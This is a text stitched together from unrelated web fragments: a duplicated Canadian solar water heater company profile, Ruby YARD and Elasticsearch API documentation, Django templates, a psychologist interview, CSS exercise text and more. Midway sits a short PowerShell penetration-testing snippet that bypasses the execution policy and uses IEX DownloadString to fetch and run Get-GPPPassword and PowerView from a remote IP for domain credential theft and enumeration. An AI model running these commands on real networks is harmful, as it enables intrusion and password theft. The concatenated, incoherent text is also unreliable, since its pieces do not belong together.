Legal/Operating Name:
FreeFuelForever Ltd.
Alternate Name:
Seabird Solar-Aboriginal Business PBI 824778658PG001
Mailing Address:
2872 Chowat RdAgassiz, British Columbia
V0M 1A2
Location Address:
2872 Chowat RdAgassiz, British Columbia
V0M 1A2
Tel.:<PHONE_NUMBER>
Fax:<PHONE_NUMBER>
Logo
Company Profile
FreeFuelForever sells and installs high quality solar water heaters and solar water pumps. Home solar energy systems using vacuum tube solar water heater panels are explained, along with prices and assembly instructions.
· Do-it-yourself home solar hot water.
· Swimming pool solar panels
· PV Solar Panel Water Pumps
Full profile
Full profile
Contact information
Company description
Product / Service / Licensing
20 Vacuum tube, 1.8 meters each
Fully certified, highest efficiency lowest cost per square meter
SRCC Certified Heat Pipe Solar Collector Panel
1.8 meter long tubes, copper heat pipes
Optional stand for flat roofs
Highest pressure of any panel
Complete freeze protection
Excellent for drain back systems
Assemble on roof
Highest efficiency panel available, fully SRCC and Solar Keymark certified with lowest cost per square meter of panel-an obvious first choice for split systems.
How it works:
The vacuum tubes absorb solar energy and aluminum wings transfer the heat energy to the heat pipe. The liquid in the heat pipe boils and the steam travels up to the top of the heat pipe. The top bulb of the heat pipe (the condenser bulb) is in contact with cool water, which causes the steam to condense flows down the heat pipe. This cycle repeats so long as sunlight keeps heating the pipe and the top of the pipe is cool enough to condense the steam.
By far the most common type of integrated solar water system in the world, the standard gravity drain, or vented, system delivers the lowest cost hot water of all designs. 27 tube solar water heater all-glass evacuated tubular collector design with sealed all glass heat pipes. 170 liter stainless steel inner tank, aluminum stand, air vent, water inlet and outlet fittings, tank cover, foot cushions, end caps and automatic filler valve mechanism are all included.
Vacuum tubes can never freeze, since they contain no water. Optional auxiliary electric heater and controller can keep water temperature constant. Manual filling and draining possible, or connect directly to pressurized water with auto-filler valve to keep tank full.
- Low pressure system, vented to atmosphere, gravity drain.
- Water pressurized by gravity, or pump downstream from tank.
- 90% of integrated systems sold due to lowest cost per liter hot water
Package contains a complete solar water heater:
· Stand alone system, no additional parts
· Economic system for typical house
· No electricity or pumps required, but can be added.
· Assemble yourself in 3 hours
· Optional electronic controller-heater
· Graded Al-N/Al selective coating, high energy absorption and low heat transfer losses
· highly evacuated with pressure 5×10-2 Pa in the space between outer and inner covers, so no heat loss
· All Glass Heat pipes transfer heat energy in one direction only
· High transparency with boron silicon glass, high resistance to cold water shock
More people in the world use gravity drain solar systems than any other kind. Gravity drain is the standard system for most economical solar hot water.
Type Gravity System, 170 liter (45 gallon)
Tubes 27 tubes, 47 mm diameter, 1.5 meter length, all glass heat pipe
Aperature Area 2.29 square meters, standard frame at 45 degree angle
Water volume 170 liters (45 gallon)
Net Weight 76 kg (no water)
Gross Weight 268 kg (full of water)
Electric heater 1500 W or 2000 W, with electronic controller
Automatic filler Option available; mechanical design, lifetime of greater than 10 years
Water level overflow Water level greater than 360 mm
See prices and additional details here: http://www.seabirdsolar.com/scripts/gravity_system.php
European certification, efficiency and durability testing results may be downloaded.
Copper U tubes can stand high working pressures-up to 6 bar (0.6 Mpa) and have the highest efficiency of the solar panel only units.
· Graded Al-N/Al selective coating, high energy absorption and low heat transfer losses
· highly evacuated with pressure 5×10-2 Pa in the space between outer and inner covers, so no heat loss
· High transparency with boron silicon glass, high resistance to cold water shock
· High 6 bar pressure capable
· 12 tube panels can be joined in series
· Use for pools, thermosiphon systems
· Use in pressure split systems
EcoEnergy Canada Rebate Model SLU1500/12 tube
Collector tubes
SL-I-1500 (1.5 meter)
Number of tubes
12
U tube material
Copper
U tube
Diameter 8 mm
Thickness 1 mm
Max. Pressure (working)
0.6 MPa=6 bar (about 6 atmospheres), tested to 9 bar
Area, m2
Gross/"Aperature" 1.278 Absorber 0.858
Intercept efficiency (h0)
0.593 Aperature (0.883 Absorber, 0.616 European conversion for RETScreen Frta)
Heat Loss (a1)
FrUL=1.293 W/(m2K) (European format converted for RETScreen)
Net Weight
30 kg
Reflector
Flat Plate Diffuse, Aluminum
Inlet and Outlet Piping, in
1/2 (12 tube), stainless steel
Stagnation Temperature
220 degrees C, with reflector
Energy per year
525 kWh/m2
For photos, prices and installation manuals see: http://www.seabirdsolar.com/scripts/u_tube_panels.php
10 Watt nominal power solar water pump, optimized to run off a solar photovoltaic panel. This solar pump is designed as a circulation pump for a solar thermal water heater system. The special feature of this pump is the ability to adapt to the changes in power from a PV panel as the amount of sunlight changes (Maximum Power Point, MPP, tracking). This means that this pump will start and run when the sun is not strong enough to run other pumps, and will run faster with more sun. The most common pump application is for water circulation in a split solar thermal water heater system. The great advantage in a solar water heater system is that this pump runs when the sun shines, eliminating the need for an electronic controller in the system.
Makes simple split solar water heater system.
Runs with a 10 W solar PV panel
Circulation pump runs when the sun shines
Runs faster when more sun, more hot water
No controller, no probes, no grid power needed
Pump electronics are specifically designed to run with variable output from a solar photovoltaic panel. This pump is specifically designed to work as a circulation pump for solar thermal water heater split systems. Pump can start with little sun and uses Maximum Power Point (MPP) tracking to run faster when there is more sun, and therefore more heat to be taken from the solar thermal panels.
Eliminates the need for an electronic control system for solar energy water heaters. Radiant floor heating also possible.
Electronic controllers historically cause the most trouble in a solar water heater system. Eliminate the controller with a solar PV direct pump, and the largest source of solar water heater system failures is eliminated.
Features:
8V~24V DC as solar PV panel output varies
Max open flow rate: 20 liters/minute
Directly powered by PV panel
Brass head with 1/2" female NPT Inlet/Outlet
Max system pressure: 10 Bar
Max working temperature: 110°C (230° F)
DC brush-less motor with micro processor control
Minimum start-up power: less than 3 Watt
Soft start at very low in-rush current
Automatic overload protection
Automatic temperature protection
Durable permanent magnetic rotor/impeller and fine ceramic shaft
Advanced magnetic drive technology, no seals, no leakage
Long life brush less pump, ideal life for 30000 hours
Heavy duty work, can sustain continual 24 hours' work
Low noise: ≤45dB far from 1m distance
Low or no maintenance
Low power consumption
Can be customized
See system photos here: http://www.seabirdsolar.com/scripts/pump_solar_water.php
Understanding Pump Specifications:
( http://www.seabirdsolar.com/downloads/PV_direct_solar_pump_TS5.pdf )
In the specifications and pump flow curve, notice that voltage varies from 8 to 24 V DC and the maximum head (zero flow) is around 2.25 meters.
The flow rate is zero at maximum head. Look at the bottom of the flow curve graph-there is no flow at maximum head; this just shows what the pump could do if it hummed away, maximum power in, and just pushed a water column up as far as it could, say up a pipe that was open at the top. The water column would reach 2.25 meters. No water would spill out the top.
12 Volt is nominal voltage. Power is equal to current times voltage (P=IV). On page 1 of the same brochure, voltage for all models of the pump varies from 8 V to 24 V DC, which is, of course, the great advantage of the PV direct pump, which adjusts output based on a varying solar input. Solar panel output varies in both current and voltage. To achieve maximum power point (MPP) tracking, the pump adjusts both torque and speed. The pump can run fast, high RPM with a high flow, at low head: this works with a lower voltage and high current. Torque required is small at lower head. Even at a fairly low voltage, the pump could absorb 10 W; the power is all going to high flow. The converse is true as well: to get the maximum head, which requires maximum torque, the voltage would have to be at a maximum value, closer to 24 V, and the current would be low, just enough to turn the pump fast enough to prevent back flow. But nobody does this because flow rate is zero.
This pump is built to circulate water from a solar collector on the roof to a tank that is usually in the building below. The pump needs to have a closed loop; which means water pressure in to the pump, coming from the roof, is almost the same as water pressure out of the pump going to the roof. This is a circulation water pump, built to overcome the friction of circulating water in solar water heater system.
If water circulates from the roof back down to the tank, then the pump is only overcoming friction in the pipe, not the head to the roof. The water coming from the roof has almost the same pressure as the water going back up. The pump just has to help it along, overcoming the turbulence and pipe friction losses. There has to be water in the return line and no air gaps, otherwise this little pump--only 10W--would not have the power to push water all the way to the roof. Once the whole line is full of water, though, then all the pump has to do is overcome friction, not gravity. This is the secret to being able to use such a small pump to circulate water to a high roof: there is no head to overcome because the system is closed loop.
Technology profile
Aboriginal dealer in Canada is Seabird Solar, PBI 824778658PG0001, pre-qualified supplier on Aboriginal Business Network.
Market profile
Alliances:
Strategic alliances:
A variety of dealers around the world carry Freefuelforever solar water heaters, cooperating on marketing and distribution for enconomy of scale.Industry sector market interests:
- Environment
Geographic markets:
Export experience:
- Afghanistan
- China
- Pakistan
- United Arab Emirates
- United States
Sector information
Total plant size:
Distribution of employees:
5Third-Party Information Liability Disclaimer
Some of the information on this Web page has been provided by external sources. The Government of Canada is not responsible for the accuracy, reliability or currency of the information supplied by external sources. Users wishing to rely upon this information should consult directly with the source of the information. Content provided by external sources is not subject to official languages, privacy and accessibility requirements.
Contacts
Contact information
Description
Company description
Products, services and licensing
Product / Service / Licensing
20 Vacuum tube, 1.8 meters each
Fully certified, highest efficiency lowest cost per square meter
SRCC Certified Heat Pipe Solar Collector Panel
1.8 meter long tubes, copper heat pipes
Optional stand for flat roofs
Highest pressure of any panel
Complete freeze protection
Excellent for drain back systems
Assemble on roof
Highest efficiency panel available, fully SRCC and Solar Keymark certified with lowest cost per square meter of panel-an obvious first choice for split systems.
How it works:
The vacuum tubes absorb solar energy and aluminum wings transfer the heat energy to the heat pipe. The liquid in the heat pipe boils and the steam travels up to the top of the heat pipe. The top bulb of the heat pipe (the condenser bulb) is in contact with cool water, which causes the steam to condense flows down the heat pipe. This cycle repeats so long as sunlight keeps heating the pipe and the top of the pipe is cool enough to condense the steam.
By far the most common type of integrated solar water system in the world, the standard gravity drain, or vented, system delivers the lowest cost hot water of all designs. 27 tube solar water heater all-glass evacuated tubular collector design with sealed all glass heat pipes. 170 liter stainless steel inner tank, aluminum stand, air vent, water inlet and outlet fittings, tank cover, foot cushions, end caps and automatic filler valve mechanism are all included.
Vacuum tubes can never freeze, since they contain no water. Optional auxiliary electric heater and controller can keep water temperature constant. Manual filling and draining possible, or connect directly to pressurized water with auto-filler valve to keep tank full.
- Low pressure system, vented to atmosphere, gravity drain.
- Water pressurized by gravity, or pump downstream from tank.
- 90% of integrated systems sold due to lowest cost per liter hot water
Package contains a complete solar water heater:
· Stand alone system, no additional parts
· Economic system for typical house
· No electricity or pumps required, but can be added.
· Assemble yourself in 3 hours
· Optional electronic controller-heater
· Graded Al-N/Al selective coating, high energy absorption and low heat transfer losses
· highly evacuated with pressure 5×10-2 Pa in the space between outer and inner covers, so no heat loss
· All Glass Heat pipes transfer heat energy in one direction only
· High transparency with boron silicon glass, high resistance to cold water shock
More people in the world use gravity drain solar systems than any other kind. Gravity drain is the standard system for most economical solar hot water.
Type Gravity System, 170 liter (45 gallon)
Tubes 27 tubes, 47 mm diameter, 1.5 meter length, all glass heat pipe
Aperature Area 2.29 square meters, standard frame at 45 degree angle
Water volume 170 liters (45 gallon)
Net Weight 76 kg (no water)
Gross Weight 268 kg (full of water)
Electric heater 1500 W or 2000 W, with electronic controller
Automatic filler Option available; mechanical design, lifetime of greater than 10 years
Water level overflow Water level greater than 360 mm
See prices and additional details here: http://www.seabirdsolar.com/scripts/gravity_system.php
European certification, efficiency and durability testing results may be downloaded.
Copper U tubes can stand high working pressures-up to 6 bar (0.6 Mpa) and have the highest efficiency of the solar panel only units.
· Graded Al-N/Al selective coating, high energy absorption and low heat transfer losses
· highly evacuated with pressure 5×10-2 Pa in the space between outer and inner covers, so no heat loss
· High transparency with boron silicon glass, high resistance to cold water shock
· High 6 bar pressure capable
· 12 tube panels can be joined in series
· Use for pools, thermosiphon systems
· Use in pressure split systems
EcoEnergy Canada Rebate Model SLU1500/12 tube
Collector tubes
SL-I-1500 (1.5 meter)
Number of tubes
12
U tube material
Copper
U tube
Diameter 8 mm
Thickness 1 mm
Max. Pressure (working)
0.6 MPa=6 bar (about 6 atmospheres), tested to 9 bar
Area, m2
Gross/"Aperature" 1.278 Absorber 0.858
Intercept efficiency (h0)
0.593 Aperature (0.883 Absorber, 0.616 European conversion for RETScreen Frta)
Heat Loss (a1)
FrUL=1.293 W/(m2K) (European format converted for RETScreen)
Net Weight
30 kg
Reflector
Flat Plate Diffuse, Aluminum
Inlet and Outlet Piping, in
1/2 (12 tube), stainless steel
Stagnation Temperature
220 degrees C, with reflector
Energy per year
525 kWh/m2
For photos, prices and installation manuals see: http://www.seabirdsolar.com/scripts/u_tube_panels.php
10 Watt nominal power solar water pump, optimized to run off a solar photovoltaic panel. This solar pump is designed as a circulation pump for a solar thermal water heater system. The special feature of this pump is the ability to adapt to the changes in power from a PV panel as the amount of sunlight changes (Maximum Power Point, MPP, tracking). This means that this pump will start and run when the sun is not strong enough to run other pumps, and will run faster with more sun. The most common pump application is for water circulation in a split solar thermal water heater system. The great advantage in a solar water heater system is that this pump runs when the sun shines, eliminating the need for an electronic controller in the system.
Makes simple split solar water heater system.
Runs with a 10 W solar PV panel
Circulation pump runs when the sun shines
Runs faster when more sun, more hot water
No controller, no probes, no grid power needed
Pump electronics are specifically designed to run with variable output from a solar photovoltaic panel. This pump is specifically designed to work as a circulation pump for solar thermal water heater split systems. Pump can start with little sun and uses Maximum Power Point (MPP) tracking to run faster when there is more sun, and therefore more heat to be taken from the solar thermal panels.
Eliminates the need for an electronic control system for solar energy water heaters. Radiant floor heating also possible.
Electronic controllers historically cause the most trouble in a solar water heater system. Eliminate the controller with a solar PV direct pump, and the largest source of solar water heater system failures is eliminated.
Features:
8V~24V DC as solar PV panel output varies
Max open flow rate: 20 liters/minute
Directly powered by PV panel
Brass head with 1/2" female NPT Inlet/Outlet
Max system pressure: 10 Bar
Max working temperature: 110°C (230° F)
DC brush-less motor with micro processor control
Minimum start-up power: less than 3 Watt
Soft start at very low in-rush current
Automatic overload protection
Automatic temperature protection
Durable permanent magnetic rotor/impeller and fine ceramic shaft
Advanced magnetic drive technology, no seals, no leakage
Long life brush less pump, ideal life for 30000 hours
Heavy duty work, can sustain continual 24 hours' work
Low noise: ≤45dB far from 1m distance
Low or no maintenance
Low power consumption
Can be customized
See system photos here: http://www.seabirdsolar.com/scripts/pump_solar_water.php
Understanding Pump Specifications:
( http://www.seabirdsolar.com/downloads/PV_direct_solar_pump_TS5.pdf )
In the specifications and pump flow curve, notice that voltage varies from 8 to 24 V DC and the maximum head (zero flow) is around 2.25 meters.
The flow rate is zero at maximum head. Look at the bottom of the flow curve graph-there is no flow at maximum head; this just shows what the pump could do if it hummed away, maximum power in, and just pushed a water column up as far as it could, say up a pipe that was open at the top. The water column would reach 2.25 meters. No water would spill out the top.
12 Volt is nominal voltage. Power is equal to current times voltage (P=IV). On page 1 of the same brochure, voltage for all models of the pump varies from 8 V to 24 V DC, which is, of course, the great advantage of the PV direct pump, which adjusts output based on a varying solar input. Solar panel output varies in both current and voltage. To achieve maximum power point (MPP) tracking, the pump adjusts both torque and speed. The pump can run fast, high RPM with a high flow, at low head: this works with a lower voltage and high current. Torque required is small at lower head. Even at a fairly low voltage, the pump could absorb 10 W; the power is all going to high flow. The converse is true as well: to get the maximum head, which requires maximum torque, the voltage would have to be at a maximum value, closer to 24 V, and the current would be low, just enough to turn the pump fast enough to prevent back flow. But nobody does this because flow rate is zero.
This pump is built to circulate water from a solar collector on the roof to a tank that is usually in the building below. The pump needs to have a closed loop; which means water pressure in to the pump, coming from the roof, is almost the same as water pressure out of the pump going to the roof. This is a circulation water pump, built to overcome the friction of circulating water in solar water heater system.
If water circulates from the roof back down to the tank, then the pump is only overcoming friction in the pipe, not the head to the roof. The water coming from the roof has almost the same pressure as the water going back up. The pump just has to help it along, overcoming the turbulence and pipe friction losses. There has to be water in the return line and no air gaps, otherwise this little pump--only 10W--would not have the power to push water all the way to the roof. Once the whole line is full of water, though, then all the pump has to do is overcome friction, not gravity. This is the secret to being able to use such a small pump to circulate water to a high roof: there is no head to overcome because the system is closed loop.
Technology
Technology profile
Aboriginal dealer in Canada is Seabird Solar, PBI 824778658PG0001, pre-qualified supplier on Aboriginal Business Network.
Market
Market profile
Alliances:
Strategic alliances:
A variety of dealers around the world carry Freefuelforever solar water heaters, cooperating on marketing and distribution for enconomy of scale.Industry sector market interests:
- Environment
Geographic markets:
Export experience:
- Afghanistan
- China
- Pakistan
- United Arab Emirates
- United States


Avoid empty finally blocks - these can be deleted.
This rule is deprecated, use {rule:squid:S00108} instead.


Set-ExecutionPolicy -Bypass Bypass the exeuction policy
Invoke-Expression (IEX) cmdlet, we can load locally-hosted scripts directly into memory EX:
IEX(New-Object Net.WebClient).DownloadString("http://<IP_ADDRESS>/Get-GPPPassword.ps1")
IEX(New-Object Net.WebClient).DownloadString("http://<IP_ADDRESS>/powerview.ps1")
PowerView’s Get-NetOU command with the GUID argument to return all Organizational Unit(s) (OU) that are linked to the Group Policy. Piping those results into the Get-NetComputer command will list out all Domain machines tied to the OU(s):
Get-NetOU -GUID "{4C86DD57-4040-41CD-B163-58F208A26623}" | %{ Get-NetComputer -ADSPath $_ }


This is a multiplayer game known as TIC-TAC-TOE which has been written in pure javascript and HTML/CSS. this is a part of project which i have accomplished while learning Ajax, jquery and JavaScript from Internshala vtc.


class YARD::Handlers::Processor
Iterates over all statements in a file and delegates them to the {Handlers::Base} objects that are registered to handle the statement.
This class is passed to each handler and keeps overall processing state. For example, if the {#visibility} is set in a handler, all following statements will have access to this state. This allows “public”, “protected” and “private” statements to be handled in classes and modules. In addition, the {#namespace} can be set during parsing to control where objects are being created from. You can also access extra stateful properties that any handler can set during the duration of the post processing of a file from {#extra_state}. If you need to access state across different files, look at {#globals}.
@see Handlers::Base
Attributes
@return [Hash] a list of registered parser type extensions @private @since 0.6.0
Share state across different handlers inside of a file. This attribute is similar to {#visibility}, {#scope}, {#namespace} and {#owner}, in that they all maintain state across all handlers for the entire source file. Use this attribute to store any data your handler might need to save during the parsing of a file. If you need to save state across files, see {#globals}.
@return [OpenStruct] an open structure that can store arbitrary data @see globals
@return [String] the filename
Handlers can share state for the entire post processing stage through this attribute. Note that post processing stage spans multiple files. To share state only within a single file, use {#extra_state}
@example Sharing state among two handlers
class Handler1 < YARD::Handlers::Ruby::Base handles :class process { globals.foo = :bar } end class Handler2 < YARD::Handlers::Ruby::Base handles :method process { puts globals.foo } end
@return [OpenStruct] global shared state for post-processing stage @see extra_state
@return [CodeObjects::NamespaceObject] the current namespace
@return [CodeObjects::Base, nil] unlike the namespace, the owner
is a non-namespace object that should be stored between statements. For instance, when parsing a method body, the {CodeObjects::MethodObject} is set as the owner, in case any extra method information is processed.
@return [Symbol] the parser type (:ruby, :ruby18, :c)
@return [Symbol] the current scope (class, instance)
@return [Symbol] the current visibility (public, private, protected)
Public Class Methods
Creates a new Processor for a
file
. @param [SourceParser] parser the parser used to
initialize the processor
# File lib/yard/handlers/processor.rb, line 91 def initialize(parser) @file = parser.file || "(stdin)" @namespace = YARD::Registry.root @visibility = :public @scope = :instance @owner = @namespace @parser_type = parser.parser_type @handlers_loaded = {} @globals = parser.globals || OpenStruct.new @extra_state = OpenStruct.new load_handlers end
Registers a new namespace for handlers of the given type. @since 0.6.0
# File lib/yard/handlers/processor.rb, line 23 def register_handler_namespace(type, ns) namespace_for_handler[type] = ns end
Public Instance Methods
Searches for all handlers in {Base.subclasses} that match the
statement
@param statement the statement object to match. @return [Array<Base>] a list of handlers to process the statement with.
# File lib/yard/handlers/processor.rb, line 150 def find_handlers(statement) Base.subclasses.find_all do |handler| handler_base_class > handler && (handler.namespace_only? ? owner.is_a?(CodeObjects::NamespaceObject) : true) && handles?(handler, statement) end end
Continue parsing the remainder of the files in the
globals.ordered_parser
object. After the remainder of files
are parsed, processing will continue on the current file.
@return [void] @see Parser::OrderedParser
# File lib/yard/handlers/processor.rb, line 139 def parse_remaining_files if globals.ordered_parser globals.ordered_parser.parse log.debug("Re-processing<EMAIL_ADDRESS>end end
Processes a list of statements by finding handlers to process each one.
@param [Array] statements a list of statements @return [void]
# File lib/yard/handlers/processor.rb, line 109 def process(statements) statements.each_with_index do |stmt, _index| find_handlers(stmt).each do |handler| begin handler.new(self, stmt).process rescue HandlerAborted log.debug "#{handler} cancelled from #{caller.last}" log.debug "\tin file '#{file}':#{stmt.line}:\n\n" + stmt.show + "\n" rescue NamespaceMissingError => missingerr log.warn "The #{missingerr.object.type} #{missingerr.object.path} has not yet been recognized.\n" "If this class/method is part of your source tree, this will affect your documentation results.\n" "You can correct this issue by loading the source file for this object before `#{file}'\n" rescue Parser::UndocumentableError => undocerr log.warn "in #{handler}: Undocumentable #{undocerr.message}\n" "\tin file '#{file}':#{stmt.line}:\n\n" + stmt.show + "\n" rescue => e log.error "Unhandled exception in #{handler}:\n" " in `#{file}`:#{stmt.line}:\n\n#{stmt.show}\n" log.backtrace(e) end end end end
Private Instance Methods
Returns the handler base class @return [Base] the base class
# File lib/yard/handlers/processor.rb, line 171 def handler_base_class handler_base_namespace.const_get(:Base) end
The module holding the handlers to be loaded
@return [Module] the module containing the handlers depending on
{#parser_type}.
# File lib/yard/handlers/processor.rb, line 179 def handler_base_namespace self.class.namespace_for_handler[parser_type] end
# File lib/yard/handlers/processor.rb, line 160 def handles?(handler, statement) return false unless handler.matches_file?(file) if handler.method(:handles?).arity == 1 handler.handles?(statement) elsif [-1, 2].include?(handler.method(:handles?).arity) handler.handles?(statement, self) end end
Loads handlers from {#handler_base_namespace}. This ensures that Ruby1.9 handlers are never loaded into 1.8; also lowers the amount of modules that are loaded @return [void]
# File lib/yard/handlers/processor.rb, line 187 def load_handlers return if @handlers_loaded[parser_type] handler_base_namespace.constants.each do |c| const = handler_base_namespace.const_get(c) unless Handlers::Base.subclasses.include?(const) Handlers::Base.subclasses << const end end @handlers_loaded[parser_type] = true end


Mischievous Night is a modification which takes place on October the 30th, Mischievous Night. a night in which teens/kids pull petty pranks and offenses for fun. However, Bart Simpson doesn't quite do petty. Bart is going at no limits to cause as much trouble as possible and be a complete nuisance to the townspeople. Cause mayhem till the night is out!
COMING SOON!


|
Ralph Hertwig is director of the Center for Adaptive Rationality at the Max Planck Institute for Human Development in Berlin. He is well known for his interdisciplinary research on cognitive search, judgment, and decision making under risk and uncertainty. To this end, his lab uses a wide array of methods, ranging from experiments, surveys, and computer simulations to neuroscientific tools. |
What I enjoy most about my job as a researcher ... What I most enjoy is the opportunity to team up with people from other fields or schools of thought and produce something I could never have come up with on my own. Those sorts of collaborations have resulted in papers that I still find interesting when I look back on them today. I enjoy starting a project in an area about which I know little and going home every evening with the feeling of having learned something new.
The biggest challenge in my career so far was ... I can’t think of a “biggest challenge”—there are many, and they also have changed over time and roles. But I can think of a really difficult challenge—an “adversarial” collaboration with Danny Kahneman (and Barbara Mellers as arbiter). We exchanged many, many e-mails to hammer out the details of joint studies that, no matter the results, would settle our disagreements—but to no avail. The fickle deity of data thwarted all our plans: we just couldn’t agree on how to interpret the results. It was a painful process, but I’m glad that we could cordially agree to disagree and gained respect for one another along the way.
One research project I will never forget is… My most unforgettable research experience was as a student, when I was doing an internship at a psychiatric research hospital. I had the idea of applying signal detection theory, which I’d just learned in class, to analyze an existing data set. It was the first time I wrote simple statistical programs, and I was amazed they worked and that I could get the computer to do what I wanted… well, after a lot of trial-and-error and cursing. It made me so happy. Even more so when my advisor told me my fledgling analyses had produced some new findings. These findings led to my first published paper.
What I look for in a student who wants to work under my supervision ... There are a few properties that seem obvious such as intellectual curiosity and perseverance. But, perhaps, the characteristic that I value most is the ability to feel passionate about the problem that the student has set out to solve.
Student research could be improved by ... practice, practice, practice. No one is born a master. Students should have as many hands-on learning experiences (plus feedback) as possible. Feedback need not always come from the advisor; it can/should come from all the members interacting in one’s lab.
Academically, I most admire ... People whose writing I love, such as William James, Stephen Jay Gould, Herbert Simon, Steven Pinker, and Lola Lopes.
I wish someone had told me at the beginning of my career ... That to make it in academia you need more than the obvious skills—you also need the ability to juggle lots of projects, to multitask constantly, and to delay gratification. Not to mention plenty of perseverance and a thick skin for weathering all the rejections, which keep on coming no matter how advanced you are in your career.
The largest changes in psychological science in the next 10 years will be ... Depending on which source you believe, Niels Bohr or Yogi Berra said: “Prediction is very difficult, especially about the future.” I don’t know what the largest changes will be. But I expect that “big data” will change to some extent the way psychology collects data. Another change I’m hoping to see is the better integration of neuroscientific methods, experimentation, and theorizing to produce even better accounts of human behavior. Relatedly, I hope that in the future we will all work together to integrate our theories. It’s been said that psychologists treat theories like toothbrushes (no self-respecting person wants to use someone else’s). I think there’s a lot to that, and we need to change it.


{% extends "layout_maps.html" %} {% block title %}
| User name | Collaboration mode | Actions |
|---|---|---|
| {{ collaborator.user_name }} | {% if collaborator.collaboration_mode.name == "VIEW" %} Can View {% elif collaborator.collaboration_mode.name == "COMMENT" %} Can Comment {% else %} Can Edit {% endif %} | Edit · Delete |
You are not collaborating with anyone on this topic map. Click on the "Add collaborator" button below to add a collaborator.
{% endif %} {% endblock %}


{% extends 'base.html' %} {% block nombre_seccion %}Login{% endblock %} {% block contenido %} New to our website? There are advances being made in science and technology everyday, and a good example of this is the Create an Account Log in to enter {% csrf_token %} {% if messages %} {% for message in messages %} {{message}} {% endfor %} {% endif %} Keep me logged in Log In Forgot Password? {% endblock %}
There are advances being made in science and technology everyday, and a good example of this is the


public class NodesInfoRequestBuilder extends NodesOperationRequestBuilder<NodesInfoRequest,NodesInfoResponse,NodesInfoRequestBuilder>
action, client, request
| Constructor and Description |
|---|
NodesInfoRequestBuilder(ElasticsearchClient client,
NodesInfoAction action) |
| Modifier and Type | Method and Description |
|---|---|
NodesInfoRequestBuilder |
all()
Sets to reutrn all the data.
|
NodesInfoRequestBuilder |
clear()
Clears all info flags.
|
NodesInfoRequestBuilder |
setHttp(boolean http)
Should the node HTTP info be returned.
|
NodesInfoRequestBuilder |
setJvm(boolean jvm)
Should the node JVM info be returned.
|
NodesInfoRequestBuilder |
setOs(boolean os)
Should the node OS info be returned.
|
NodesInfoRequestBuilder |
setPlugins(boolean plugins)
Should the node plugins info be returned.
|
NodesInfoRequestBuilder |
setProcess(boolean process)
Should the node OS process be returned.
|
NodesInfoRequestBuilder |
setSettings(boolean settings)
Should the node settings be returned.
|
NodesInfoRequestBuilder |
setThreadPool(boolean threadPool)
Should the node thread pool info be returned.
|
NodesInfoRequestBuilder |
setTransport(boolean transport)
Should the node Transport info be returned.
|
setNodesIds, setTimeout, setTimeout
beforeExecute, execute, execute, get, get, get, putHeader, request
public NodesInfoRequestBuilder(ElasticsearchClient client, NodesInfoAction action)
public NodesInfoRequestBuilder clear()
public NodesInfoRequestBuilder all()
public NodesInfoRequestBuilder setSettings(boolean settings)
public NodesInfoRequestBuilder setOs(boolean os)
public NodesInfoRequestBuilder setProcess(boolean process)
public NodesInfoRequestBuilder setJvm(boolean jvm)
public NodesInfoRequestBuilder setThreadPool(boolean threadPool)
public NodesInfoRequestBuilder setTransport(boolean transport)
public NodesInfoRequestBuilder setHttp(boolean http)
public NodesInfoRequestBuilder setPlugins(boolean plugins)


This property specifies what kind of border to display:
A dotted border.
A dashed border.
A solid border.
A double border.
A groove border.
A ridge border.
An inset border.
An outset border.
No border.
A hidden border.
A mixed border.
Style has been associated with ID by using # in the header style tag
Margin set independently for top, bottom left and right
Margin is 100
Margin shorthand: top, left & right, bottom
Top, right, bottom, left
Outline 1: solid
Outline 2: double
Outline 3: outset
Outline specifiec with shorthand style: Width Style Color
Added offset to push the outline further away from the border
Outrageous letter-spacing
Double spaced: Immediately upon leaving the university, Tolstoy returned to his estate and, perhaps inr spired by his enthusiasm for Rousseau, pre- pared to devote himself to agriculture and to improving the condition of his serfs. His first attempt at social reform proved disappointing, and after six months he withdrew to Moscow and St. Petersburg, where he gave himself over to the irregular life characteristic of his class cc Childhood, Boyhood, and Youth, in which he celebrated the happiness of "being with Na- ture, seeing her, communing with her." He al- so began The Cossacks with the intention of showing that culture is the enemy of happi- ness. Although continuing his army life, he gradually came to realize that "a military ca- reer is not for me, and the sooner I get out of it and devote myself entirely to literature the better." His Sevastopol Sketches (1855) were so successful that Czar Nicholas issued special orders that he should be removed from a post of danger. Returning to St. Petersburg, Tolstoy was re- ceived with great favor in both the official and literary circles of the capital. He soon became
Notice something different?
Spaced out words...Far out man!
Shadow fox!
font-family supplies a list of fonts to use. If one is not available it tries the next one.
Font style italic
Font style oblique
small
medium
big
Font size 2em: emphemeral, relative, double the normal size
Font size: 200%, double the normal size
Font size set to 10 vw: view width, stretchy size
Some Font Awesome icons:
Styled Font Awesome icons (size and color):
Example of unordered lists:
Example of ordered lists:
| Firstname | Lastname |
|---|---|
| Peter | Griffin |
| Lois | Griffin |
Tip: Drag the browser window to smaller than 500px wide, to see the difference between the two divs!
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Phasellus imperdiet, nulla et dictum interdum, nisi lorem egestas odio, vitae scelerisque enim ligula venenatis dolor. Maecenas nisl est, ultrices nec congue eget, auctor vitae massa. Fusce luctus vestibulum augue ut aliquet. Mauris ante ligula, facilisis sed ornare eu, lobortis in odio. Praesent convallis urna a lacus interdum ut hendrerit risus congue. Nunc sagittis dictum nisi, sed ullamcorper ipsum dignissim ac. In at libero sed nunc venenatis imperdiet sed ornare turpis. Donec vitae dui eget tellus gravida venenatis. Integer fringilla congue eros non fermentum. Sed dapibus pulvinar nibh tempor porta. Cras ac leo purus. Mauris quis diam velit.
stylin parts of the content in the tag
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Phasellus imperdiet, nulla et dictum interdum, nisi lorem egestas odio, vitae scelerisque enim ligula venenatis dolor. Maecenas nisl est, ultrices nec congue eget, auctor vitae massa. Fusce luctus vestibulum augue ut aliquet. Mauris ante ligula, facilisis sed ornare eu, lobortis in odio. Praesent convallis urna a lacus
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Phasellus imperdiet, nulla et dictum interdum, nisi lorem egestas odio, vitae scelerisque enim ligula venenatis dolor. Maecenas nisl est, ultrices nec congue eget, auctor vitae massa. Fusce luctus vestibulum augue ut aliquet. Mauris ante ligula, facilisis sed ornare eu, lobortis in odio. Praesent convallis urna a lacus
